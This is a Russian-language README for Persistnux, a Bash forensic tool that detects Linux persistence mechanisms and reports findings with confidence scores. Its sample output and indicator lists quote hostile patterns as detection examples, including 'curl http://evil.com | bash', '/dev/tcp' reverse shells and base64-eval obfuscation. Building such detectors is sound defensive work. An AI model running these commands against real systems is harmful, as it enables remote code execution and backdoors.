
Инструмент обнаружения персистентности в Linux на Bash для расследований DFIR. Сканирует 15+ механизмов персистентности (systemd, cron, модули ядра, SSH, контейнеры) с оценкой достоверности и генерирует CSV/JSONL отчеты для криминалистического анализа.
# Persistnux
Комплексный инструмент обнаружения механизмов сохранения доступа (persistence) в Linux для расследований в области цифровой криминалистики и реагирования на инциденты (DFIR).
## Обзор
Persistnux — это инструмент на Bash, предназначенный для выявления известных механизмов сохранения доступа в Linux, используемых злоумышленниками для поддержания контроля над скомпрометированными системами. Он выполняет всесторонние проверки системы и генерирует подробные отчёты в форматах CSV и JSONL для дальнейшего анализа.
## Возможности
- **Всестороннее обнаружение**: охватывает все основные механизмы сохранения доступа в Linux
- **Анализ на работающей системе**: запускается непосредственно на живых системах с минимальными зависимостями
- **Подробные отчёты**: создаёт отчёты в форматах CSV и JSONL, содержащие хеши файлов, метаданные и оценки надёжности
- **Работа от root и обычного пользователя**: работает как с привилегиями root, так и без них (с ограниченной областью проверки для обычных пользователей)
- **Готовность для DFIR**: форматы вывода совместимы с распространёнными инструментами и рабочими процессами DFIR
- **Оценка подозрительности**: автоматическое присвоение уровня доверия (LOW, MEDIUM, HIGH, CRITICAL) на основе выявленных индикаторов
- **Снижение ложных срабатываний**: интеграция с менеджером пакетов и белый список известных корректных служб
- **Анализ на основе времени**: недавно изменённые файлы получают более высокий уровень доверия
- **Поиск по шаблонам**: обнаруживает обратные оболочки, шаблоны «скачать-и-выполнить», техники обфускации
## Обнаруживаемые механизмы сохранения доступа
### 1. Systemd-службы
- Файлы служб (`.service`) в `/etc/systemd/system`, `/lib/systemd/system`, `/usr/lib/systemd/system`
- Пользовательские службы systemd
- Отсеивает отключённые службы и службы без ExecStart
- Обнаруживает подозрительные команды ExecStart
- Проверяет целостность исполняемых файлов/скриптов через менеджер пакетов
### 2. Задачи Cron и планировщики
- Системные crontab (`/etc/crontab`, `/etc/cron.d/*`)
- Каталоги периодического выполнения (`/etc/cron.{daily,hourly,weekly,monthly}`)
- Пользовательские crontab для всех пользователей (режим root)
- Задачи At
- Подозрительные шаблоны команд в запланированных задачах
- Файлы ACL `/etc/cron.allow` и `/etc/cron.deny` — записи, ссылающиеся на несуществующих пользователей, помечаются
### 3. Профили оболочки и RC-файлы
- Системные профили (`/etc/profile`, `/etc/bash.bashrc`, `/etc/zshrc`)
- Скрипты Profile.d (`/etc/profile.d/*`)
- Пользовательские профили (`.bashrc`, `.bash_profile`, `.zshrc`, `.profile` и т. д.)
- Конфигурации Fish shell
- Обнаруживает вредоносные команды в файлах профилей
### 4. Init-скрипты и RC.local
- `/etc/rc.local` и его варианты
- Init-скрипты SysV (`/etc/init.d`)
- Скрипты уровней выполнения (`/etc/rc*.d`)
- Обнаруживает подозрительные команды скачивания/выполнения
### 5. Модули ядра и предзагрузка библиотек
- Настройки LD_PRELOAD (`/etc/ld.so.preload`) — каждая указанная библиотека проверяется через менеджер пакетов
- Конфигурации динамического компоновщика (`/etc/ld.so.conf`, `/etc/ld.so.conf.d/`) — проверка целостности conf-файлов и сканирование `.so`-файлов в нестандартных путях
- `/etc/environment` LD_PRELOAD/LD_LIBRARY_PATH — помечается как HIGH; указанные пути библиотек проверяются (неуправляемые/изменённые → CRITICAL)
- Параметры модулей ядра (`/etc/modprobe.d/`, `/etc/modprobe.conf`) — целостность файлов; анализ директив `install` на предмет подозрительных целей команд; `blacklist` модулей безопасности (apparmor, selinux, seccomp) помечается как HIGH
- Конфигурации автозагрузки модулей ядра (`/etc/modules`, `/etc/modules-load.d/`) — целостность конфигураций; имена модулей разрешаются в `.ko`-файлы через `modinfo` и проверяются
- Загруженные модули ядра (`lsmod`) — перечисление и проверка целостности
### 6. Дополнительные механизмы
- Записи автозапуска XDG (`.config/autostart`, `/etc/xdg/autostart`) — при работе от root сканируются все домашние каталоги пользователей
- Системные файлы окружения (`/etc/environment`) — проверка путей библиотек LD_PRELOAD/LD_LIBRARY_PATH
- Конфигурации sudoers и дополнительные файлы (`/etc/sudoers`, `/etc/sudoers.d/`) — шаблоны NOPASSWD/ALL → HIGH
- PAM (Pluggable Authentication Modules):
- Все модули `.so` проверяются через менеджер пакетов; обрабатываются директивы `@include`; включается `/etc/pam.conf`
- Анализ скриптов `pam_exec.so` — отсутствующие/подозрительные скрипты → CRITICAL
- Обнаружение релеев `pam_python.so` / `pam_perl.so` — скрипт извлекается и анализируется
- Обнаружение hook-файлов `pam_script.so` в `/etc/security/`
- Целостность конфигурационных файлов — изменённые принадлежащие пакетам конфигурации PAM → CRITICAL
- Проверка библиотек LD_PRELOAD в `pam_env.conf` и `~/.pam_environment`
- Общее сканирование `/etc/security/`
- Скрипты MOTD (`/etc/update-motd.d/`) — проверка пакета; изменённые → CRITICAL
- Вспомогательные программы Git credential и настройки core.pager — анализ содержимого для всех пользователей
- Web-шеллы в распространённых веб-каталогах
### 8. Сохранение доступа через SSH
- Пользовательские `~/.ssh/authorized_keys` — недавно изменённые ключи помечаются; анализируется содержимое опции `command=` на предмет подозрительных шаблонов
- Пользовательские `~/.ssh/rc` — наличие помечается как MEDIUM; подозрительное содержимое/обратная оболочка → HIGH/CRITICAL
### 9. Перехват бинарных файлов (Binary Hijacking)
- Проверка установленных системных бинарных файлов по базе пакетов (`dpkg -V` на Debian/Ubuntu, `rpm -Va` на RHEL/CentOS)
- Изменённые файлы в `/usr/bin`, `/usr/sbin`, `/bin`, `/sbin` → CRITICAL
- Изменённые модули PAM в `/lib/security` → CRITICAL
- Conffiles (конфигурационные файлы dpkg) исключаются для снижения ложных срабатываний
### 10. Загрузчик и Initramfs
- Инъекция параметра ядра `init=` в GRUB (`/etc/default/grub`, `/etc/default/grub.d/*.cfg`)
- Init-скрипты на корневом уровне в `/`
- Initramfs-модули Dracut с хуками `pre-pivot`, записывающими в `/sysroot/etc/shadow`
- Hook-скрипты Ubuntu initramfs-tools в `/etc/initramfs-tools/scripts/` и `/hooks/`
- Недавно изменённые образы `/boot/initrd.img-*` (по mtime)
### 11. Манипуляции Polkit (PolicyKit)
- Файлы `.pkla` с безусловными `ResultAny/ResultInactive/ResultActive=yes`
- Предоставление прав с подстановочным идентификатором (`unix-user:*`)
- Файлы `.rules` с безусловным `polkit.Result.YES` (Polkit на JavaScript, версия >= 0.106)
### 12. D-Bus и NetworkManager
- Регистрация вредоносных системных служб D-Bus через `Exec=` (`/usr/share/dbus-1/system-services/`)
- Подстановочные директивы политик D-Bus `allow own="*"` или `send_destination="*"`
- Скрипты диспетчера NetworkManager (`/etc/NetworkManager/dispatcher.d/`)
### 13. Правила Udev
- Директивы Udev `RUN+=`, выполняющие произвольные команды или скрипты (`/etc/udev/rules.d/`, `/lib/udev/rules.d/`)
- Правила, внедрённые во время выполнения в `/run/udev/rules.d/`
- Шаблоны делегирования `at`/`cron` в `RUN+=` (распространённый обход ограничений на выполнение в фоновом режиме)
### 14. Побег из контейнера
- Привилегированные Docker-контейнеры (`--privileged`, `--pid=host`)
- Монтирование `docker.sock` внутрь контейнеров (полный контроль над хостом через Docker API)
- `nsenter -t 1` в точках входа контейнеров или Dockerfile
- Dockerfile в каталогах, доступных для записи пользователями, содержащие техники побега
### 15. Расширенные проверки бинарных файлов и привилегий
- Сканирование активных SUID/SGID-файлов по системным каталогам
- Сканирование файловых возможностей через `getcap` — `cap_setuid+ep` на GTFOBins → CRITICAL
- Перехват бинарных файлов: переименованные оригиналы (`.original`, `.old`, `.bak`, `.real`) с скриптами-обёртками
- Учётные записи без root с UID 0 в `/etc/passwd`
- Маскировка оболочки с помощью завершающего пробела в поле оболочки `/etc/passwd`
- Системные учётные записи (UID 1-999) с файлами `authorized_keys` SSH
## Установка
```bash
# Клонирование репозитория
git clone https://github.com/yourusername/persistnux.git
cd persistnux
# Сделать скрипт исполняемым
chmod +x persistnux.sh
```
## Использование
### Базовое использование (анализ на работающей системе)
```bash
# Запуск с настройками по умолчанию (показываются только подозрительные находки)
sudo ./persistnux.sh
# Показать справку и все опции
./persistnux.sh --help
# Запуск от обычного пользователя (ограниченная область)
./persistnux.sh
```
### Опции фильтрации (v2.4+)
По умолчанию Persistnux показывает только **подозрительные находки** (уровни MEDIUM, HIGH, CRITICAL), чтобы уменьшить шум и сосредоточиться на действенных угрозах.
```bash
# По умолчанию: показывать только подозрительные находки
sudo ./persistnux.sh
# Показывать все находки, включая базовые (уровень LOW)
sudo ./persistnux.sh --all
# ИЛИ
sudo FILTER_MODE=all ./persistnux.sh
# Показывать только находки с уровнями HIGH и CRITICAL
sudo MIN_CONFIDENCE=HIGH ./persistnux.sh
# Комбинирование фильтров: только HIGH
sudo ./persistnux.sh --min-confidence HIGH
```
### Пользовательский каталог вывода
```bash
# Указать собственный каталог вывода
sudo OUTPUT_DIR=/tmp/evidence ./persistnux.sh
# Комбинировать с фильтрацией
sudo OUTPUT_DIR=/tmp/evidence MIN_CONFIDENCE=HIGH ./persistnux.sh
```
### Выходные файлы
По умолчанию Persistnux создаёт каталог вывода `./persistnux_output/`, содержащий:
- `persistnux_<hostname>_<timestamp>.csv` — отчёт в формате CSV
- `persistnux_<hostname>_<timestamp>.jsonl` — отчёт в формате JSONL (по одному объекту JSON в строке)
- `persistnux_<hostname>_<timestamp>_report.txt` — читаемый сводный отчёт с количеством находок и метаданными сканирования
## Формат вывода
### Формат CSV
```csv
timestamp,hostname,category,confidence,file_path,file_hash,file_owner,file_permissions,file_age_days,package_status,command,description,matched_pattern,matched_string
2026-01-23T10:30:00Z,webserver01,Systemd Service,HIGH,/etc/systemd/system/example.service,abc123...,root:root,644,3,unmanaged,example.service,suspicious_script_content,"curl http://evil.com | bash"
```
### Формат JSONL
```json
{
"timestamp": "2026-01-23T10:30:00Z",
"hostname": "webserver01",
"category": "Systemd Service",
"confidence": "HIGH",
"file_path": "/etc/systemd/system/example.service",
"file_hash": "abc123...",
"file_owner": "root:root",
"file_permissions": "644",
"file_age_days": "3",
"package_status": "unmanaged",
"command": "/opt/example.sh",
"description": "example.service",
"matched_pattern": "suspicious_script_content",
"matched_string": "curl http://evil.com | bash"
}
```
### Ключевые поля вывода
- **matched_pattern**: шаблон обнаружения, вызвавший находку (например, `suspicious_script_content`, `modified_package`, `unmanaged_binary`)
- **matched_string**: фактическое подозрительное содержимое (вся строка, а не просто ключевое слово)
## Оценка надёжности (Confidence Scoring)
Persistnux использует интеллектуальную оценку надёжности для снижения ложных срабатываний:
- **LOW**: стандартная системная конфигурация, низкая подозрительность (часто файлы, управляемые пакетным менеджером)
- **MEDIUM**: потенциально подозрительно, но может быть легитимным
- **HIGH**: обнаружены подозрительные шаблоны (например, curl/wget в cron, выполнение из /tmp, обратные оболочки)
- **CRITICAL**: неопровержимые доказательства взлома — сбой проверки целостности пакета, SUID/SGID на подозрительном файле, аномалия модуля PAM, генератор systemd в эфемерной папке или встроенный код интерпретатора с высокоэнтропийной полезной нагрузкой
### Снижение ложных срабатываний (v1.2+)
Persistnux теперь включает несколько функций для снижения ложных срабатываний:
1. **Интеграция с менеджером пакетов**: файлы, управляемые `dpkg` (Debian/Ubuntu) или `rpm` (RedHat/CentOS), получают более низкие оценки надёжности
2. **Белый список известных корректных служб**: стандартные службы вендоров (systemd-*, dbus-*, snap.* и т. д.) автоматически пропускаются
3. **Оценка на основе времени**: недавно изменённые файлы (<7 дней) получают более высокие оценки надёжности
4. **Контекстно-зависимый анализ**: комбинирует несколько индикаторов для более точного обнаружения
## Подозрительные индикаторы
Persistnux автоматически помечает элементы с повышенной оценкой надёжности при обнаружении:
### Сетевые шаблоны
- Обратные оболочки: `bash -i >& /dev/tcp/`, `sh -i >& /dev/udp/`
- Сетевые утилиты: `nc`, `netcat`, `socat`, `telnet`
- Сокетные операции в языках сценариев: `python -c 'import socket'`
### Шаблоны скачивания и выполнения
- Инструменты скачивания: `curl | bash`, `wget | sh`
- Скачивание с выполнением: `curl URL -o /tmp/file && chmod +x`
### Техники обфускации
- Кодирование: `base64 -d | bash`, `eval $(echo BASE64)`
- Динамическое выполнение: `eval`, `exec`
### Подозрительные местоположения
- Временные каталоги: `/tmp`, `/dev/shm`, `/var/tmp`
- Скрытые каталоги и файлы
### Манипуляции с правами доступа
- Сделать файлы исполняемыми: `chmod +x`, `chmod 777`
- Манипуляции с SUID-битом: `chmod u+s`
## Требования
- Bash 4.0+
- Стандартные утилиты Unix: `find`, `grep`, `stat`, `sha256sum`, `awk`, `file`
- Опционально: `systemctl`, `lsmod`, `modinfo`, `getcap`, `dpkg`/`rpm` (для определённых проверок)
- Нет зависимости от интерпретаторов (чистый bash + coreutils; `python`/`jq` не требуются)
- Рекомендуется доступ root/sudo для всестороннего анализа
## Тестирование / Совместимость
| Дистрибутив | Статус | Примечания |
|---|---|---|
| Ubuntu 22.04 LTS | ✅ Протестирован | Основная платформа разработки и тестирования |
| Ubuntu 20.04 LTS | ✅ Протестирован | Полная поддержка |
| Debian 11/12 | ✅ Протестирован | Основан на dpkg, те же соглашения о путях |
| Kali Linux (rolling) | ✅ Протестирован | Использовался для бенчмарка PANIX (см. ниже) |
| RedHat / RHEL | ⚠️ Не тестировался | Поддержка rpm реализована, но не проверена на живых системах |
| Fedora | ⚠️ Не тестировался | Поддержка rpm реализована, но не проверена на живых системах |
| CentOS / AlmaLinux / Rocky | ⚠️ Не тестировался | Поддержка rpm реализована, но не проверена на живых системах |
> **Примечание:** Инструмент в основном протестирован на системах **Ubuntu/Debian**. RedHat, Fedora и RPM-дистрибутивы имеют реализованную поддержку менеджера пакетов в коде, но не были проверены в реальных тестовых средах. Приветствуются вклады и отчёты о тестировании для RPM-дистрибутивов.
## Тестирование / Бенчмарк
Persistnux сравнивается с [**PANIX**](https://github.com/Aegrah/PANIX),
который устанавливает те же механизмы сохранения доступа, которые ищет
Persistnux. Повторяемый тестовый стенд в
[`tests/panix_benchmark.sh`](https://github.com/go-lanz/persistnux/blob/main/tests/panix_benchmark.sh) применяет каждую
технику PANIX, запускает Persistnux и подтверждает обнаружение через
базовое сравнение. Каждый файловый метод PANIX, применимый на тестовой
машине, обнаруживается с уровнем `MEDIUM` и выше. См. полную таблицу
покрытия и методологию в [PANIX_BENCHMARK.md](https://github.com/go-lanz/persistnux/blob/main/PANIX_BENCHMARK.md).
> ⚠️ Бенчмарк устанавливает реальные бэкдоры — запускайте его только в
> изолированной виртуальной машине.
## Планы развития
- [ ] Режим автономного анализа для образов криминалистических дисков
- [ ] Интеграция с коллекцией UAC (Unix-like Artifacts Collector)
- [ ] Расширение бенчмарка PANIX на векторы загрузчика/initramfs/LKM на полноценной ВМ
## Ресурсы
https://www.elastic.co/security-labs/continuation-on-persistence-mechanisms
https://www.elastic.co/security-labs/approaching-the-summit-on-persistence
https://www.elastic.co/security-labs/primer-on-persistence-mechanisms
https://www.elastic.co/security-labs/sequel-on-persistence-mechanisms
https://github.com/Aegrah/PANIX
## Вклад в проект
Вклад приветствуется! Пожалуйста, отправляйте pull request или открывайте issues для:
- Обнаружения новых механизмов сохранения доступа
- Исправления ошибок
- Улучшения документации
- Оптимизации производительности
- Дополнительных форматов вывода
## Лицензия
Лицензия MIT — подробнее см. в файле LICENSE.
## Благодарности
Разработано для сообщества DFIR для помощи в реагировании на инциденты и криминалистических расследованиях в Linux.
## Отказ от ответственности
Этот инструмент предназначен только для авторизованного тестирования безопасности, реагирования на инциденты и криминалистического анализа. Пользователи обязаны убедиться, что у них есть соответствующие разрешения перед запуском этого инструмента на любой системе.
## Контакты
По вопросам, проблемам или предложениям используйте трекер issues на GitHub.